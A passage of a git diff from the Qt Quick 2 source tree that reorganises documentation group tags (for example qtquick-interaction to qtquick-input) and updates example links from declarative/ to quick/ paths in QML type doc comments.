qtquick2-whatsnew.html -\inqmlmodule QtQuick 2 +\inqmlmodule QtQuick 2.0 \section1 Qt 5.0.0 includes QtQuick 2.0 diff --git a/src/quick/items/context2d/qquickcanvasitem.cpp b/src/quick/items/context2d/qquickcanvasitem.cpp index 24d71acf26..2d55acee35 100644 --- a/src/quick/items/context2d/qquickcanvasitem.cpp +++ b/src/quick/items/context2d/qquickcanvasitem.cpp @@ -207,6 +207,7 @@ QQuickCanvasItemPrivate::~QQuickCanvasItemPrivate() \since QtQuick 2.0 \inherits Item \ingroup qtquick-canvas + \ingroup qtquick-visual \brief For specifying a 2D canvas element which enables drawing via Javascript The Canvas item allows drawing of straight and curved lines, simple and diff --git a/src/quick/items/qquickaccessibleattached.cpp b/src/quick/items/qquickaccessibleattached.cpp index 0f1565cfac..1cccc01b74 100644 --- a/src/quick/items/qquickaccessibleattached.cpp +++ b/src/quick/items/qquickaccessibleattached.cpp @@ -52,7 +52,7 @@ QT_BEGIN_NAMESPACE \brief Enables accessibility of QML items \inqmlmodule QtQuick 2 - \ingroup qtquick-utility + \ingroup qtquick-visual-utility \ingroup accessibility This class is part of \l {Accessibility for Qt Quick Applications}. diff --git a/src/quick/items/qquickanimatedimage.cpp b/src/quick/items/qquickanimatedimage.cpp index 97e0f0b4e1..b4c1bd435a 100644 --- a/src/quick/items/qquickanimatedimage.cpp +++ b/src/quick/items/qquickanimatedimage.cpp @@ -57,7 +57,7 @@ QT_BEGIN_NAMESPACE \inqmlmodule QtQuick 2 \inherits Image \brief Plays animations stored as a series of images - \ingroup qtquick-images + \ingroup qtquick-visual The AnimatedImage element extends the features of the \l Image element, providing a way to play animations stored as images containing a series of frames, diff --git a/src/quick/items/qquickanimatedsprite.cpp b/src/quick/items/qquickanimatedsprite.cpp index 79a8d007c7..be1c6a0308 100644 --- a/src/quick/items/qquickanimatedsprite.cpp +++ b/src/quick/items/qquickanimatedsprite.cpp @@ -211,7 +211,7 @@ struct AnimatedSpriteVertices { \qmlclass AnimatedSprite QQuickAnimatedSprite \inqmlmodule QtQuick 2 \inherits Item - \ingroup qtquick-images-sprites + \ingroup qtquick-visual \brief Draws a sprite animation AnimatedSprite provides rendering and control over animations which are provided diff --git a/src/quick/items/qquickborderimage.cpp b/src/quick/items/qquickborderimage.cpp index 355a745c06..5d4ce7f494 100644 --- a/src/quick/items/qquickborderimage.cpp +++ b/src/quick/items/qquickborderimage.cpp @@ -59,7 +59,7 @@ QT_BEGIN_NAMESPACE \inqmlmodule QtQuick 2 \brief For specifying an image that can be used as a border \inherits Item - \ingroup qtquick-item-graphics + \ingroup qtquick-visual The BorderImage element is used to create borders out of images by scaling or tiling parts of each image. diff --git a/src/quick/items/qquickcanvas.cpp b/src/quick/items/qquickcanvas.cpp index 3cd894349c..82fabd047b 100644 --- a/src/quick/items/qquickcanvas.cpp +++ b/src/quick/items/qquickcanvas.cpp @@ -749,7 +749,7 @@ void QQuickCanvasPrivate::cleanup(QSGNode *n) /*! \qmlclass Window QQuickCanvas \inqmlmodule QtQuick.Window 2 - \ingroup qtquick-visual-types + \ingroup qtquick-visual \brief Creates a new top-level window The Window object creates a new top-level window for a QtQuick scene. It automatically sets up the diff --git a/src/quick/items/qquickdrag.cpp b/src/quick/items/qquickdrag.cpp index 722dbb6b97..2357e3a7db 100644 --- a/src/quick/items/qquickdrag.cpp +++ b/src/quick/items/qquickdrag.cpp @@ -108,7 +108,7 @@ public: /*! \qmlclass Drag QQuickDrag \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input \brief For specifying drag and drop events for moved Items Using the Drag attached property any Item can made a source of drag and drop diff --git a/src/quick/items/qquickdroparea.cpp b/src/quick/items/qquickdroparea.cpp index 5080fcdd41..6c178c5c1f 100644 --- a/src/quick/items/qquickdroparea.cpp +++ b/src/quick/items/qquickdroparea.cpp @@ -91,7 +91,7 @@ QQuickDropAreaPrivate::~QQuickDropAreaPrivate() /*! \qmlclass DropArea QQuickDropArea \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input \brief For specifying drag and drop handling in an area A DropArea is an invisible item which receives events when other items are @@ -327,7 +327,7 @@ void QQuickDropArea::dropEvent(QDropEvent *event) /*! \qmlclass DragEvent QQuickDragEvent \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input-events \brief Provides information about a drag event The position of the drag event can be obtained from the \l x and \l y diff --git a/src/quick/items/qquickevents.cpp b/src/quick/items/qquickevents.cpp index b0aeeb79d3..b2e73af6f7 100644 --- a/src/quick/items/qquickevents.cpp +++ b/src/quick/items/qquickevents.cpp @@ -46,7 +46,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass KeyEvent QQuickKeyEvent \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input-events \brief Provides information about a key event @@ -141,7 +141,7 @@ Item { /*! \qmlclass MouseEvent QQuickMouseEvent \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input-events \brief Provides information about a mouse event @@ -239,8 +239,7 @@ Item { /*! \qmlclass WheelEvent QQuickWheelEvent \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction - + \ingroup qtquick-input-events \brief Provides information about a mouse wheel event The position of the mouse can be found via the \l x and \l y properties. diff --git a/src/quick/items/qquickflickable.cpp b/src/quick/items/qquickflickable.cpp index 9e65d962b2..0218aa55f0 100644 --- a/src/quick/items/qquickflickable.cpp +++ b/src/quick/items/qquickflickable.cpp @@ -585,7 +585,7 @@ is finished. /*! \qmlclass Flickable QQuickFlickable \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input \ingroup qtquick-containers \brief For specifying a surface that can be "flicked" diff --git a/src/quick/items/qquickflipable.cpp b/src/quick/items/qquickflipable.cpp index 56dc20f762..502b0aa4f9 100644 --- a/src/quick/items/qquickflipable.cpp +++ b/src/quick/items/qquickflipable.cpp @@ -91,6 +91,7 @@ public: \qmlclass Flipable QQuickFlipable \inqmlmodule QtQuick 2 \inherits Item + \ingroup qtquick-input \ingroup qtquick-containers \brief For specifying a surface that can be flipped diff --git a/src/quick/items/qquickfocusscope.cpp b/src/quick/items/qquickfocusscope.cpp index 52102a4e32..14a85629ea 100644 --- a/src/quick/items/qquickfocusscope.cpp +++ b/src/quick/items/qquickfocusscope.cpp @@ -46,7 +46,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass FocusScope QQuickFocusScope \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input \brief Explicitly creates a focus scope \inherits Item diff --git a/src/quick/items/qquickgridview.cpp b/src/quick/items/qquickgridview.cpp index 65ca1aee25..dc9a04f1bb 100644 --- a/src/quick/items/qquickgridview.cpp +++ b/src/quick/items/qquickgridview.cpp @@ -1259,7 +1259,7 @@ bool QQuickGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal maxExte \image gridview-layout-toptobottom-rtl-btt.png \endtable - \sa {declarative/modelviews/gridview}{GridView example} + \sa {quick/modelviews/gridview}{GridView example} */ QQuickGridView::QQuickGridView(QQuickItem *parent) diff --git a/src/quick/items/qquickimage.cpp b/src/quick/items/qquickimage.cpp index 113bb3461e..aa68477a9d 100644 --- a/src/quick/items/qquickimage.cpp +++ b/src/quick/items/qquickimage.cpp @@ -94,7 +94,7 @@ QQuickImagePrivate::QQuickImagePrivate() /*! \qmlclass Image QQuickImage \inqmlmodule QtQuick 2 - \ingroup qtquick-images + \ingroup qtquick-visual \inherits Item \brief Displays an image in a declarative user interface diff --git a/src/quick/items/qquickitem.cpp b/src/quick/items/qquickitem.cpp index e10572fd48..00e01828be 100644 --- a/src/quick/items/qquickitem.cpp +++ b/src/quick/items/qquickitem.cpp @@ -129,7 +129,7 @@ void QQuickItemPrivate::registerAccessorProperties() /*! \qmlclass Transform QQuickTransform \inqmlmodule QtQuick 2 - \ingroup qtquick-transformations + \ingroup qtquick-visual-transforms \brief For specifying advanced transformations on Items The Transform element is a base type which cannot be instantiated directly. @@ -151,7 +151,7 @@ void QQuickItemPrivate::registerAccessorProperties() /*! \qmlclass Translate QQuickTranslate \inqmlmodule QtQuick 2 - \ingroup qtquick-transformations + \ingroup qtquick-visual-transforms \brief Provides a way to move an Item without changing its x or y properties The Translate object provides independent control over position in addition to the Item's x and y properties. @@ -193,7 +193,7 @@ void QQuickItemPrivate::registerAccessorProperties() /*! \qmlclass Scale QQuickScale \inqmlmodule QtQuick 2 - \ingroup qtquick-transformations + \ingroup qtquick-visual-transforms \brief Provides a way to scale an Item The Scale element gives more control over scaling than using \l Item's \l{Item::scale}{scale} property. Specifically, @@ -235,7 +235,7 @@ void QQuickItemPrivate::registerAccessorProperties() /*! \qmlclass Rotation QQuickRotation \inqmlmodule QtQuick 2 - \ingroup qtquick-transformations + \ingroup qtquick-visual-transforms \brief Provides a way to rotate an Item The Rotation object gives more control over rotation than using \l Item's \l{Item::rotation}{rotation} property. @@ -503,7 +503,7 @@ void QQuickItemKeyFilter::componentComplete() /*! \qmlclass KeyNavigation QQuickKeyNavigationAttached \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input \brief Supports key navigation by arrow keys Key-based user interfaces commonly allow the use of arrow keys to navigate between @@ -917,7 +917,7 @@ bool QQuickKeysAttached::isConnected(const char *signalName) /*! \qmlclass Keys QQuickKeysAttached \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input \brief Provides key handling to Items All visual primitives support key handling via the Keys @@ -1463,7 +1463,7 @@ QQuickKeysAttached *QQuickKeysAttached::qmlAttachedProperties(QObject *obj) /*! \qmlclass LayoutMirroring QQuickLayoutMirroringAttached \inqmlmodule QtQuick 2 - \ingroup qtquick-utility + \ingroup qtquick-positioners \ingroup qml-utility-elements \brief Property used to mirror layout behavior @@ -1722,7 +1722,7 @@ void QQuickItemPrivate::updateSubFocusItem(QQuickItem *scope, bool focus) \qmlclass Item QQuickItem \inherits QtObject \inqmlmodule QtQuick 2 - \ingroup qtquick-visual-types + \ingroup qtquick-visual \brief A basic visual QML type All visual items in Qt Quick inherit from Item. Although Item diff --git a/src/quick/items/qquickitemanimation.cpp b/src/quick/items/qquickitemanimation.cpp index c6e87bb72e..9c8dae2e07 100644 --- a/src/quick/items/qquickitemanimation.cpp +++ b/src/quick/items/qquickitemanimation.cpp @@ -560,7 +560,7 @@ QAbstractAnimationJob* QQuickAnchorAnimation::transition(QQuickStateActions &act /*! \qmlclass PathAnimation QQuickPathAnimation \inqmlmodule QtQuick 2 - \ingroup qml-animation-transition + \ingroup qtquick-animation-properties \inherits Animation \since QtQuick 2.0 \brief Animates an item along a path diff --git a/src/quick/items/qquickitemviewtransition.cpp b/src/quick/items/qquickitemviewtransition.cpp index 3411d7a34b..01a132452b 100644 --- a/src/quick/items/qquickitemviewtransition.cpp +++ b/src/quick/items/qquickitemviewtransition.cpp @@ -568,7 +568,7 @@ QQuickViewTransitionAttached::QQuickViewTransitionAttached(QObject *parent) /*! \qmlclass ViewTransition QQuickViewTransitionAttached \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-properties + \ingroup qtquick-transitions-animations \brief Specifies items under transition in a view With ListView and GridView, it is possible to specify transitions that should be applied whenever diff --git a/src/quick/items/qquicklistview.cpp b/src/quick/items/qquicklistview.cpp index 17851cd76b..5e91ec429a 100644 --- a/src/quick/items/qquicklistview.cpp +++ b/src/quick/items/qquicklistview.cpp @@ -1725,7 +1725,7 @@ bool QQuickListViewPrivate::flick(AxisData &data, qreal minExtent, qreal maxExte \image listview-layout-righttoleft.png \endtable - \sa {QML Data Models}, GridView, {declarative/modelviews/listview}{ListView examples} + \sa {QML Data Models}, GridView, {quick/modelviews/listview}{ListView examples} */ QQuickListView::QQuickListView(QQuickItem *parent) : QQuickItemView(*(new QQuickListViewPrivate), parent) @@ -1887,7 +1887,7 @@ QQuickListView::~QQuickListView() so as to stay with the current item, unless the highlightFollowsCurrentItem property is false. - \sa highlightItem, highlightFollowsCurrentItem, {declarative/modelviews/listview}{ListView examples} + \sa highlightItem, highlightFollowsCurrentItem, {quick/modelviews/listview}{ListView examples} */ /*! @@ -2173,7 +2173,7 @@ void QQuickListView::setOrientation(QQuickListView::Orientation orientation) differing sections will result in a section header being created even if that section exists elsewhere. - \sa {declarative/modelviews/listview}{ListView examples} + \sa {quick/modelviews/listview}{ListView examples} */ QQuickViewSection *QQuickListView::sectionCriteria() { diff --git a/src/quick/items/qquickloader.cpp b/src/quick/items/qquickloader.cpp index a5740ac467..7945a359cc 100644 --- a/src/quick/items/qquickloader.cpp +++ b/src/quick/items/qquickloader.cpp @@ -160,7 +160,7 @@ qreal QQuickLoaderPrivate::getImplicitHeight() const /*! \qmlclass Loader QQuickLoader \inqmlmodule QtQuick 2 - \ingroup qtquick-utility + \ingroup qtquick-dynamic \inherits Item \brief Allows dynamic loading of a subtree from a URL or Component diff --git a/src/quick/items/qquickmousearea.cpp b/src/quick/items/qquickmousearea.cpp index c1d1c9dd8d..f114292ad7 100644 --- a/src/quick/items/qquickmousearea.cpp +++ b/src/quick/items/qquickmousearea.cpp @@ -311,7 +311,7 @@ bool QQuickMouseAreaPrivate::propagateHelper(QQuickMouseEvent *ev, QQuickItem *i /*! \qmlclass MouseArea QQuickMouseArea \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input \brief Enables simple mouse handling \inherits Item diff --git a/src/quick/items/qquickmultipointtoucharea.cpp b/src/quick/items/qquickmultipointtoucharea.cpp index f1b4596a14..f980fdce6c 100644 --- a/src/quick/items/qquickmultipointtoucharea.cpp +++ b/src/quick/items/qquickmultipointtoucharea.cpp @@ -55,7 +55,7 @@ DEFINE_BOOL_CONFIG_OPTION(qmlVisualTouchDebugging, QML_VISUAL_TOUCH_DEBUGGING) /*! \qmlclass TouchPoint QQuickTouchPoint \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input-events \brief Describes a touch point in a MultiPointTouchArea The TouchPoint element contains information about a touch point, such as the current @@ -225,7 +225,7 @@ void QQuickTouchPoint::setSceneY(qreal sceneY) \qmlclass MultiPointTouchArea QQuickMultiPointTouchArea \inqmlmodule QtQuick 2 \inherits Item - \ingroup qtquick-interaction + \ingroup qtquick-input \brief Enables handling of multiple touch points diff --git a/src/quick/items/qquickpathview.cpp b/src/quick/items/qquickpathview.cpp index 883edeca48..1c3b9aaf46 100644 --- a/src/quick/items/qquickpathview.cpp +++ b/src/quick/items/qquickpathview.cpp @@ -498,7 +498,7 @@ void QQuickPathViewPrivate::regenerate() to set \e {clip: true} in order to have the out of view items clipped nicely. - \sa Path, {declarative/modelviews/pathview}{PathView example} + \sa Path, {quick/modelviews/pathview}{PathView example} */ QQuickPathView::QQuickPathView(QQuickItem *parent) diff --git a/src/quick/items/qquickpincharea.cpp b/src/quick/items/qquickpincharea.cpp index 90885d12c9..8c1c7bd096 100644 --- a/src/quick/items/qquickpincharea.cpp +++ b/src/quick/items/qquickpincharea.cpp @@ -54,7 +54,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass PinchEvent QQuickPinchEvent \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input-events \brief For specifying information about a pinch event \b {The PinchEvent element was added in QtQuick 1.1} @@ -163,7 +163,7 @@ QQuickPinchAreaPrivate::~QQuickPinchAreaPrivate() /*! \qmlclass PinchArea QQuickPinchArea \inqmlmodule QtQuick 2 - \ingroup qtquick-interaction + \ingroup qtquick-input \inherits Item \brief Enables simple pinch gesture handling diff --git a/src/quick/items/qquickrectangle.cpp b/src/quick/items/qquickrectangle.cpp index f912d57954..3137ba93fd 100644 --- a/src/quick/items/qquickrectangle.cpp +++ b/src/quick/items/qquickrectangle.cpp @@ -130,7 +130,7 @@ bool QQuickPen::isValid() const /*! \qmlclass GradientStop QQuickGradientStop \inqmlmodule QtQuick 2 - \ingroup qtquick-item-graphics + \ingroup qtquick-visual-utility \brief Defines the color at a position in a Gradient \sa Gradient @@ -181,7 +181,7 @@ void QQuickGradientStop::updateGradient() /*! \qmlclass Gradient QQuickGradient \inqmlmodule QtQuick 2 - \ingroup qtquick-item-graphics + \ingroup qtquick-visual-utility \brief Defines a gradient fill A gradient is defined by two or more colors, which will be blended seamlessly. @@ -281,7 +281,7 @@ int QQuickRectanglePrivate::doUpdateSlotIdx = -1; \qmlclass Rectangle QQuickRectangle \inqmlmodule QtQuick 2 \inherits Item - \ingroup qtquick-visual-types + \ingroup qtquick-visual \brief Describes a filled rectangle with an optional border Rectangle items are used to fill areas with solid color or gradients, and are diff --git a/src/quick/items/qquickrepeater.cpp b/src/quick/items/qquickrepeater.cpp index 8d034e5839..c688fade92 100644 --- a/src/quick/items/qquickrepeater.cpp +++ b/src/quick/items/qquickrepeater.cpp @@ -65,6 +65,7 @@ QQuickRepeaterPrivate::~QQuickRepeaterPrivate() \qmlclass Repeater QQuickRepeater \inqmlmodule QtQuick 2 \ingroup qtquick-models + \ingroup qtquick-positioning \inherits Item \brief Specifies how to repeately create an Item-based component using a model diff --git a/src/quick/items/qquickscreen.cpp b/src/quick/items/qquickscreen.cpp index c3d32eb1c3..17f4ebc1f0 100644 --- a/src/quick/items/qquickscreen.cpp +++ b/src/quick/items/qquickscreen.cpp @@ -52,7 +52,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass Screen QQuickScreenAttached \inqmlmodule QtQuick.Window 2 - \ingroup qtquick-utility + \ingroup qtquick-visual-utility \brief The Screen attached object provides information about the Screen an Item is displayed on. The Screen attached object is only valid inside Item or Item derived elements, after component completion. diff --git a/src/quick/items/qquickshadereffect.cpp b/src/quick/items/qquickshadereffect.cpp index c14b8f2f29..ebc7d8f684 100644 --- a/src/quick/items/qquickshadereffect.cpp +++ b/src/quick/items/qquickshadereffect.cpp @@ -536,7 +536,7 @@ void QQuickShaderEffectCommon::propertyChanged(QQuickItem *item, int mappedId, \qmlclass ShaderEffect QQuickShaderEffect \inqmlmodule QtQuick 2 \inherits Item - \ingroup qtquick-shaders + \ingroup qtquick-effects \brief Applies custom shaders to a rectangle The ShaderEffect element applies a custom OpenGL diff --git a/src/quick/items/qquickshadereffectmesh.cpp b/src/quick/items/qquickshadereffectmesh.cpp index a0d589780b..d1110c5a5b 100644 --- a/src/quick/items/qquickshadereffectmesh.cpp +++ b/src/quick/items/qquickshadereffectmesh.cpp @@ -53,7 +53,7 @@ QQuickShaderEffectMesh::QQuickShaderEffectMesh(QObject *parent) /*! \qmlclass GridMesh QQuickGridMesh \inqmlmodule QtQuick 2 - \ingroup qtquick-shaders + \ingroup qtquick-effects \brief Defines a mesh with vertices arranged in a grid GridMesh defines a rectangular mesh consisting of vertices arranged in an diff --git a/src/quick/items/qquickshadereffectsource.cpp b/src/quick/items/qquickshadereffectsource.cpp index 7fbab0d604..71a0aafe4b 100644 --- a/src/quick/items/qquickshadereffectsource.cpp +++ b/src/quick/items/qquickshadereffectsource.cpp @@ -456,7 +456,7 @@ QImage QQuickShaderEffectTexture::toImage() const \qmlclass ShaderEffectSource QQuickShaderEffectSource \since 5.0 \inherits Item - \ingroup qtquick-shaders + \ingroup qtquick-effects \brief Renders a QML element into a texture and displays it The ShaderEffectSource element renders \l sourceItem into a texture and diff --git a/src/quick/items/qquicksprite.cpp b/src/quick/items/qquicksprite.cpp index 1628ed7633..8d56612a6c 100644 --- a/src/quick/items/qquicksprite.cpp +++ b/src/quick/items/qquicksprite.cpp @@ -48,7 +48,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass Sprite QQuickSprite \inqmlmodule QtQuick 2 - \ingroup qtquick-images-sprites + \ingroup qtquick-visual-utility \brief Specifies sprite animations QQuickSprite renders sprites of one or more frames and animates them. The sprites diff --git a/src/quick/items/qquickspritesequence.cpp b/src/quick/items/qquickspritesequence.cpp index 0e7d998fbb..feb43a4e3d 100644 --- a/src/quick/items/qquickspritesequence.cpp +++ b/src/quick/items/qquickspritesequence.cpp @@ -209,7 +209,7 @@ struct SpriteVertices { /*! \qmlclass SpriteSequence QQuickSpriteSequence \inqmlmodule QtQuick 2 - \ingroup qtquick-images-sprites + \ingroup qtquick-visual-utility \inherits Item \brief Draws a sprite animation diff --git a/src/quick/items/qquicktext.cpp b/src/quick/items/qquicktext.cpp index 4ab56494a0..f03afd657a 100644 --- a/src/quick/items/qquicktext.cpp +++ b/src/quick/items/qquicktext.cpp @@ -1139,7 +1139,7 @@ void QQuickTextPrivate::ensureDoc() /*! \qmlclass Text QQuickText \inqmlmodule QtQuick 2 - \ingroup qtquick-text + \ingroup qtquick-visual \inherits Item \brief Specifies how to add formatted text to a scene diff --git a/src/quick/items/qquicktextedit.cpp b/src/quick/items/qquicktextedit.cpp index 4b55ff1bd5..058b8161c4 100644 --- a/src/quick/items/qquicktextedit.cpp +++ b/src/quick/items/qquicktextedit.cpp @@ -67,7 +67,8 @@ QT_BEGIN_NAMESPACE /*! \qmlclass TextEdit QQuickTextEdit \inqmlmodule QtQuick 2 - \ingroup qtquick-text + \ingroup qtquick-visual + \ingroup qtquick-input \inherits Item \brief Displays multiple lines of editable formatted text diff --git a/src/quick/items/qquicktextinput.cpp b/src/quick/items/qquicktextinput.cpp index 477cf1c222..a8d10f3daf 100644 --- a/src/quick/items/qquicktextinput.cpp +++ b/src/quick/items/qquicktextinput.cpp @@ -68,7 +68,8 @@ DEFINE_BOOL_CONFIG_OPTION(qmlDisableDistanceField, QML_DISABLE_DISTANCEFIELD) /*! \qmlclass TextInput QQuickTextInput \inqmlmodule QtQuick 2 - \ingroup qtquick-text + \ingroup qtquick-visual + \ingroup qtquick-input \inherits Item \brief Displays an editable line of text @@ -844,7 +845,7 @@ void QQuickTextInput::setAutoScroll(bool b) /*! \qmlclass IntValidator QIntValidator \inqmlmodule QtQuick 2 - \ingroup qtquick-text-validator + \ingroup qtquick-text-utility \brief Defines a validator for integer values This element provides a validator for integer values. @@ -907,7 +908,7 @@ void QQuickIntValidator::resetLocaleName() /*! \qmlclass DoubleValidator QDoubleValidator \inqmlmodule QtQuick 2 - \ingroup qtquick-text-validator + \ingroup qtquick-text-utility \brief Defines a validator for non-integer numbers This element provides a validator for non-integer numbers. @@ -1000,7 +1001,7 @@ void QQuickDoubleValidator::resetLocaleName() /*! \qmlclass RegExpValidator QRegExpValidator \inqmlmodule QtQuick 2 - \ingroup qtquick-text-validator + \ingroup qtquick-text-utility \brief Provides a string validator This element provides a validator, which counts as valid any string which diff --git a/src/quick/items/qquickview.cpp b/src/quick/items/qquickview.cpp index b3fba60fb8..20575d4af9 100644 --- a/src/quick/items/qquickview.cpp +++ b/src/quick/items/qquickview.cpp @@ -144,7 +144,7 @@ void QQuickViewPrivate::itemGeometryChanged(QQuickItem *resizeItem, const QRectF you can connect to the statusChanged() signal and monitor for QQuickView::Error. The errors are available via QQuickView::errors(). - \sa {Using QML Bindings in C++ Applications} + \sa {Exposing C++ Data to QML} */ diff --git a/src/quick/items/qquickvisualitemmodel.cpp b/src/quick/items/qquickvisualitemmodel.cpp index 2cd9106c4a..8405a41c80 100644 --- a/src/quick/items/qquickvisualitemmodel.cpp +++ b/src/quick/items/qquickvisualitemmodel.cpp @@ -150,7 +150,7 @@ public: \image visualitemmodel.png - \sa {declarative/modelviews/visualitemmodel}{VisualItemModel example} + \sa {quick/modelviews/visualitemmodel}{VisualItemModel example} */ QQuickVisualItemModel::QQuickVisualItemModel(QObject *parent) : QQuickVisualModel(*(new QQuickVisualItemModelPrivate), parent) diff --git a/src/quick/util/qquickanimation.cpp b/src/quick/util/qquickanimation.cpp index 8162aaeee3..ebdde58c63 100644 --- a/src/quick/util/qquickanimation.cpp +++ b/src/quick/util/qquickanimation.cpp @@ -72,7 +72,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass Animation QQuickAbstractAnimation \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-properties + \ingroup qtquick-transitions-animations \brief Is the base of all QML animations The Animation element cannot be used directly in a QML file. It exists @@ -617,7 +617,7 @@ void QQuickAbstractAnimationPrivate::animationFinished(QAbstractAnimationJob*) /*! \qmlclass PauseAnimation QQuickPauseAnimation \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-modifiers + \ingroup qtquick-transitions-animations \inherits Animation \brief Provides a pause for an animation @@ -831,7 +831,7 @@ void QActionAnimation::updateState(State newState, State oldState) /*! \qmlclass ScriptAction QQuickScriptAction \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-modifiers + \ingroup qtquick-transitions-animations \inherits Animation \brief Defines scripts to be run during an animation @@ -957,7 +957,7 @@ QAbstractAnimationJob* QQuickScriptAction::transition(QQuickStateActions &action /*! \qmlclass PropertyAction QQuickPropertyAction \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-modifiers + \ingroup qtquick-transitions-animations \inherits Animation \brief Specifies immediate property changes during animation @@ -1637,7 +1637,7 @@ QQmlListProperty<QQuickAbstractAnimation> QQuickAnimationGroup::animations() /*! \qmlclass SequentialAnimation QQuickSequentialAnimation \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-define + \ingroup qtquick-transitions-animations \inherits Animation \brief Allows animations to be run sequentially @@ -1710,7 +1710,7 @@ QAbstractAnimationJob* QQuickSequentialAnimation::transition(QQuickStateActions /*! \qmlclass ParallelAnimation QQuickParallelAnimation \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-define + \ingroup qtquick-transitions-animations \inherits Animation \brief Enables animations to be run in parallel diff --git a/src/quick/util/qquickbehavior.cpp b/src/quick/util/qquickbehavior.cpp index 0de99d4db1..ee8a1e494d 100644 --- a/src/quick/util/qquickbehavior.cpp +++ b/src/quick/util/qquickbehavior.cpp @@ -75,7 +75,8 @@ public: /*! \qmlclass Behavior QQuickBehavior \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-define + \ingroup qtquick-transitions-animations + \ingroup qtquick-interceptors \brief Defines a default animation for a property change A Behavior defines the default animation to be applied whenever a diff --git a/src/quick/util/qquickbind.cpp b/src/quick/util/qquickbind.cpp index bd57efb29b..0a1cd27a76 100644 --- a/src/quick/util/qquickbind.cpp +++ b/src/quick/util/qquickbind.cpp @@ -77,7 +77,7 @@ public: /*! \qmlclass Binding QQuickBind \inqmlmodule QtQuick 2 - \ingroup qtquick-utility + \ingroup qtquick-interceptors \brief Enables the arbitrary creation of property bindings \section1 Binding to an inaccessible property diff --git a/src/quick/util/qquickconnections.cpp b/src/quick/util/qquickconnections.cpp index be3d9539c5..9b086b9e03 100644 --- a/src/quick/util/qquickconnections.cpp +++ b/src/quick/util/qquickconnections.cpp @@ -73,7 +73,7 @@ public: /*! \qmlclass Connections QQuickConnections \inqmlmodule QtQuick 2 - \ingroup qtquick-utility + \ingroup qtquick-interceptors \brief Describes generalized connections to signals A Connections object creates a connection to a QML signal. diff --git a/src/quick/util/qquickfontloader.cpp b/src/quick/util/qquickfontloader.cpp index 7e5f3de9af..1d982ce14c 100644 --- a/src/quick/util/qquickfontloader.cpp +++ b/src/quick/util/qquickfontloader.cpp @@ -148,7 +148,7 @@ QHash<QUrl, QQuickFontObject*> QQuickFontLoaderPrivate::fonts; /*! \qmlclass FontLoader QQuickFontLoader \inqmlmodule QtQuick 2 - \ingroup qtquick-utility + \ingroup qtquick-text-utility \brief Allows fonts to be loaded by name or URL The FontLoader element is used to load fonts by name or URL. diff --git a/src/quick/util/qquickimageprovider.cpp b/src/quick/util/qquickimageprovider.cpp index b0bbf46489..42da519f58 100644 --- a/src/quick/util/qquickimageprovider.cpp +++ b/src/quick/util/qquickimageprovider.cpp @@ -189,7 +189,7 @@ QImage QQuickTextureFactory::image() const \image imageprovider.png A complete example is available in Qt's - \l {declarative/cppextensions/imageprovider}{examples/qml/cppextensions/imageprovider} + \l {qml/cppextensions/imageprovider}{examples/qml/cppextensions/imageprovider} directory. Note the example registers the provider via a \l{QQmlExtensionPlugin}{plugin} instead of registering it in the application \c main() function as shown above. diff --git a/src/quick/util/qquickpackage.cpp b/src/quick/util/qquickpackage.cpp index 059a55ea88..33632357e9 100644 --- a/src/quick/util/qquickpackage.cpp +++ b/src/quick/util/qquickpackage.cpp @@ -72,7 +72,7 @@ QT_BEGIN_NAMESPACE \snippet examples/quick/modelviews/package/view.qml 0 - \sa {declarative/modelviews/package}{Package example}, {declarative/photoviewer}{Photo Viewer example}, QtQml + \sa {quick/modelviews/package}{Package example}, {declarative/photoviewer}{Photo Viewer example}, QtQml */ /*! diff --git a/src/quick/util/qquickpath.cpp b/src/quick/util/qquickpath.cpp index b1adfe3d68..ff220c61df 100644 --- a/src/quick/util/qquickpath.cpp +++ b/src/quick/util/qquickpath.cpp @@ -55,7 +55,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass PathElement QQuickPathElement \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief PathElement is the base path type This type is the base for all path types. It cannot @@ -67,7 +67,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass Path QQuickPath \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Defines a path for use by \l PathView A Path is composed of one or more path segments - PathLine, PathQuad, @@ -805,7 +805,7 @@ bool QQuickCurve::hasRelativeY() /*! \qmlclass PathAttribute QQuickPathAttribute \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Specifies how to set an attribute at a given position in a Path The PathAttribute object allows attributes consisting of a name and @@ -921,7 +921,7 @@ void QQuickPathAttribute::setValue(qreal value) /*! \qmlclass PathLine QQuickPathLine \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Defines a straight line The example below creates a path consisting of a straight line from @@ 